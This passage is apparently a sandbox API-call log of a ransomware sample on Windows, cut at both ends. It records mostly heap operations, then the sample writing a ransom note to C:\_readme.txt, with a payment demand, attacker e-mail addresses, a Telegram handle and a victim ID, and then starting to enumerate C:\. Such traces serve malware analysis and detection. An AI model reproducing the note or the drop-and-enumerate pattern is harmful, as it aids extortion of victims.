0x3092b80 [0119.462] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.462] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.462] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.462] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.462] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0119.462] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.462] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0119.462] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.462] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.462] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.462] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.463] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.463] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.463] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc46) returned 0x3092b80 [0119.463] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.463] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.463] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0119.463] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.463] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0119.463] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.463] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.463] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.463] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.463] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.463] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.463] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.463] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.463] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.463] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.463] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.463] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.463] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.463] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.463] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.463] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.463] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc46) returned 0x3092b80 [0119.463] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.463] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.463] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.463] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.463] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0119.463] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.463] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0119.463] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.463] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.463] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.464] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.464] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.464] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.464] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc46) returned 0x3092b80 [0119.464] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.464] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.464] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0119.464] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.464] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.464] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.464] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.464] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.464] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.464] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.464] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.464] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.464] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.464] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.464] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0119.464] PathFindFileNameW (pszPath="") returned="" [0119.464] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x754f0000 [0119.464] GetProcAddress (hModule=0x754f0000, lpProcName="SHGetFolderPathW") returned 0x75575708 [0119.465] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x800) returned 0x3092b80 [0119.465] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3092b80 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0119.465] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x810) returned 0x307f550 [0119.465] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022880 [0119.465] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.465] FreeLibrary (hLibModule=0x754f0000) returned 1 [0119.465] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022880 | out: hHeap=0x5e0000) returned 1 [0119.465] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.465] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x806) returned 0x3092b80 [0119.465] PathAppendW (in: pszPath="C:\\", pMore="_readme.txt" | out: pszPath="C:\\_readme.txt") returned 1 [0119.465] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x810) returned 0x307f550 [0119.465] PathFileExistsW (pszPath="C:\\_readme.txt") returned 0 [0119.465] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x7d00) returned 0x3093390 [0119.466] lstrcpyW (in: lpString1=0x3093390, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudf" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudf") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudf" [0119.466] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudf", lpString2="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudfplhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudfplhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M" [0119.466] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x810) returned 0x307fdd8 [0119.466] CreateFileW (lpFileName="C:\\_readme.txt" (normalized: "c:\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x614 [0119.470] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x900) returned 0x309b098 [0119.470] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x87e) returned 0x309b9a0 [0119.470] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudfplhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M", cchWideChar=-1, lpMultiByteStr=0x309b9a0, cbMultiByte=2174, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudfplhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M", lpUsedDefaultChar=0x0) returned 1151 [0119.471] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x880) returned 0x309c228 [0119.471] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x309b9a0 | out: hHeap=0x5e0000) returned 1 [0119.471] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x309b098 | out: hHeap=0x5e0000) returned 1 [0119.471] lstrlenA (lpString="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudfplhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M") returned 1150 [0119.471] WriteFile (in: hFile=0x614, lpBuffer=0x309c228*, nNumberOfBytesToWrite=0x47e, lpNumberOfBytesWritten=0x388fb64, lpOverlapped=0x0 | out: lpBuffer=0x309c228*, lpNumberOfBytesWritten=0x388fb64*=0x47e, lpOverlapped=0x0) returned 1 [0119.472] CloseHandle (hObject=0x614) returned 1 [0119.473] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x309c228 | out: hHeap=0x5e0000) returned 1 [0119.473] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.473] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3093390 | out: hHeap=0x5e0000) returned 1 [0119.473] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.473] FindFirstFileW (in: lpFileName="C:\\*", lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="$Recycle.Bin", cAlternateFileName="")) returned 0x3008f60 [0119.474] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022880 [0119.474] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x30) returned 0x2fdb1c0 [0119.474] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022880 | out: hHeap=0x5e0000) returned 1 [0119.474] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x30) returned 0x2fdb1f8 [0119.474] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x1c) returned 0x3022880 [0119.474] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x30) returned 0x2fdb230 [0119.474] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdb1f8 | out: hHeap=0x5e0000) returned 1 [0119.474] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdb1c0 | out: hHeap=0x5e0000) returned 1 [0119.474] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Boot", cAlternateFileName="")) returned 1 [0119.474] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x30228f8 [0119.474] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022808 [0119.474] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x38) returned 0x3008fa0 [0119.474] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x30) returned 0x2fdb1c0 [0119.474] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdb230 | out: hHeap=0x5e0000) returned 1 [0119.474] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022880 | out: hHeap=0x5e0000) returned 1 [0119.474] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022880 [0119.474] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022808 | out: hHeap=0x5e0000) returned 1 [0119.474] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30228f8 | out: hHeap=0x5e0000) returned 1 [0119.474] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x84a3bb2c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5db2a, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr", cAlternateFileName="")) returned 1 [0119.474] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0xac54a060, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac54a060, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac54a060, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOOTSECT.BAK", cAlternateFileName="")) returned 1 [0119.474] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc182c7c0, ftLastAccessTime.dwHighDateTime=0x1d3373b, ftLastWriteTime.dwLowDateTime=0xc182c7c0, ftLastWriteTime.dwHighDateTime=0x1d3373b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Config.Msi", cAlternateFileName="")) returned 1 [0119.474] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x30228f8 [0119.474] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022808 [0119.474] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x54) returned 0x3001720 [0119.474] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x30) returned 0x2fdb230 [0119.474] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022948 [0119.475] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdb1c0 | out: hHeap=0x5e0000) returned 1 [0119.475] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022880 | out: hHeap=0x5e0000) returned 1 [0119.475] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3008fa0 | out: hHeap=0x5e0000) returned 1 [0119.475] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022880 [0119.475] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022808 | out: hHeap=0x5e0000) returned 1 [0119.475] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30228f8 | out: hHeap=0x5e0000) returned 1 [0119.475] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Documents and Settings", cAlternateFileName="DOCUME~1")) returned 1 [0119.475] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x40) returned 0x2fef848 [0119.475] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x40) returned 0x2fef800 [0119.475] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x30181a0 [0119.475] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x30) returned 0x2fdb1c0 [0119.475] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x30228f8 [0119.475] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022808 [0119.475] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdb230 | out: hHeap=0x5e0000) returned 1 [0119.475] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022948 | out: hHeap=0x5e0000) returned 1 [0119.475] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022880 | out: hHeap=0x5e0000) returned 1 [0119.475] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3001720 | out: hHeap=0x5e0000) returned 1 [0119.475] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x40) returned 0x2fef890 [0119.475] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fef800 | out: 